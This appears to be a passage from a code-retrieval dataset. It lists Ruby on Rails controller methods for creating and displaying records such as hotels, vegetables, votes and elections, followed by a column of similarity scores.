"def create\n @hotel = Hotel.new(hotel_params)\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to hotels_url, notice: 'Hotel was successfully created.' }\n format.json { render :show, status: :created, location: @hotel }\n else\n format.html { render :new }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def veg_create_objects(data)\n data.each do | veg_hash |\n VegInfo::Vegetable.new(veg_hash)\n end\n end",
"def create\n @velement = Velement.new(velement_params)\n\n respond_to do |format|\n if @velement.save\n format.html { redirect_to @velement, notice: 'Velement was successfully created.' }\n format.json { render :show, status: :created, location: @velement }\n else\n format.html { render :new }\n format.json { render json: @velement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vips\n request :get, '/vips'\n end",
"def create\n @poke = Poke.new(poke_params)\n\n respond_to do |format|\n if @poke.save\n format.html { redirect_to @poke, notice: 'Poke was successfully created.' }\n format.json { render :show, status: :created, location: @poke }\n else\n format.html { render :new }\n format.json { render json: @poke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @vocalium = Vocalium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @vocalium }\n end\n end",
"def create\n @nepal = Nepal.new(nepal_params)\n\n if @nepal.save\n render json: @nepal, status: :created, location: @nepal\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end",
"def create\n @vendedor = Vendedor.new(vendedor_params)\n\n respond_to do |format|\n if @vendedor.save\n format.html { redirect_to @vendedor, notice: t('.sucesso') }\n format.json { render :show, status: :created, location: @vendedor }\n else\n format.html { render :new }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: @vat\n end",
"def index\n @posts = Post.all\n @vote = Vote.new\n respond_to do |format|\n format.json{render json:@posts}\n format.html\n end\n\n end",
"def index\n #@queried_hotels = Hotel.page params[:page]\n @hotels = Hotel.all.order(created_at: :desc)\n @hotels = pagy_custom(@hotels)\n render json: @hotels, only: [:id, :name, :phone, :email, :user_id]\n end",
"def create\n @hotel = Hotel.new(hotel_params)\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to @hotel, notice: 'Hotel was successfully created.' }\n format.json { render :show, status: :created, location: @hotel }\n else\n format.html { render :new }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hotel = Hotel.new(hotel_params)\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to @hotel, notice: 'Hotel was successfully created.' }\n format.json { render :show, status: :created, location: @hotel }\n else\n format.html { render :new }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @epreuve = Epreuve.new(epreuve_params)\n\n respond_to do |format|\n if @epreuve.save\n session[:current_epreuve_id] = @epreuve.id\n format.html { redirect_to epreuves_path }\n format.json { render :show, status: :created, location: @epreuve }\n else\n format.html { render :new }\n format.json { render json: @epreuve.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Crear nuevo voto\n @voto = Voto.new(params[:voto])\n\n # Asociarlo con el usuario\n @voto.usuario_id = current_usuario.id\n\n # Asociarlo con la Pregunta o Respuesta\n votable_type = params[:voto][:votable_type]\n votable_id = params[:voto][:votable_id]\n if votable_type=='Pregunta'\n @voto.votable = Pregunta.find(votable_id)\n else\n @voto.votable = Respuesta.find(votable_id)\n end\n\n respond_to do |format|\n if @voto.save\n resp = {\n :votos_total => @voto.votable.votos_total,\n :votos_menos => @voto.votable.votos_menos,\n :votos_mas => @voto.votable.votos_mas\n }\n format.json { render json: resp, status: :created, location: @voto }\n else\n format.json { render json: @voto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n divesite = Divesites.new(divesite_params)\n if divesite.save\n render json: divesite\n else\n render json: {message: divesite.errors}, status: 400\n end\n end",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def create\n @proxy_votes_collected = ProxyVotesCollected.new(proxy_votes_collected_params)\n\n respond_to do |format|\n if @proxy_votes_collected.save\n format.html { redirect_to @proxy_votes_collected, notice: 'Proxy votes collected was successfully created.' }\n format.json { render :show, status: :created, location: @proxy_votes_collected }\n else\n format.html { render :new }\n format.json { render json: @proxy_votes_collected.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @election = Election.new(election_params)\n respond_to do |format|\n if @election.save\n format.html { redirect_to [:admin, @election], notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @diet = Diet.new(diet_params)\n @diet.user = @current_user\n\n if @diet.save\n render json: @diet, status: 201, location: @diet, root: true\n else\n render json: @diet.errors, status: 422\n end\n end",
"def new\n @tv_episode = TvEpisode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tv_episode }\n end\n end",
"def create\n @vegetable = Vegetable.new(params[:vegetable])\n\n respond_to do |format|\n if @vegetable.save\n format.html { redirect_to(@vegetable, :notice => 'Vegetable was successfully created.') }\n format.xml { render :xml => @vegetable, :status => :created, :location => @vegetable }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vegetable.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.5641265",
"0.56377167",
"0.5620466",
"0.5576917",
"0.5454755",
"0.54493076",
"0.54357016",
"0.5418508",
"0.5385171",
"0.5365114",
"0.5326564",
"0.53097767",
"0.53066945",
"0.53062725",
"0.52811444",
"0.526124",
"0.52591765",
"0.5254248",
"0.52470416",
"0.5246799",
"0.5242874",
"0.52397907",
"0.52327067",
"0.52217835",
"0.5219284",
"0.5207003",
"0.52009434",
"0.51891667",
"0.5171209",
"0.51665026",
"0.516217",
"0.5159048",
"0.5145172",
"0.514502",
"0.51440036",
"0.514331",
"0.51368314",
"0.5136436",
"0.5128427",
"0.51258004",
"0.51258004",
"0.5110372",
"0.5100255",
"0.5098506",
"0.50932735",
"0.50901",
"0.50851226",
"0.5075216",
"0.50685906",
"0.50681686",
"0.5068014",
"0.50633043",
"0.5060976",
"0.5060325",
"0.5059918",
"0.5053374",
"0.50504684",
"0.50481963",
"0.50434685",
"0.50330985",
"0.50316966",
"0.5024948",
"0.5024744",
"0.50185335",
"0.5018433",
"0.5014768",
"0.5012015",
"0.50079715",
"0.50063825",
"0.500557",
"0.50042224",
"0.499483",
"0.49922296",
"0.49899563",
"0.49849084",
"0.4982016",
"0.49794883",
"0.49774832",
"0.4975818",
"0.49736238",
"0.49717078",
"0.4971388",
"0.49647224",
"0.49607876",
"0.49582696",
"0.4956782",
"0.4956391",
"0.49535275",
"0.49488726",
"0.494578",
"0.494578",
"0.4944399",
"0.4943016",
"0.49413723",
"0.49381226",
"0.49356467",
"0.49327606",
"0.49308008",
"0.4922685",
"0.49226376"
] |
0.5674255
|
0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.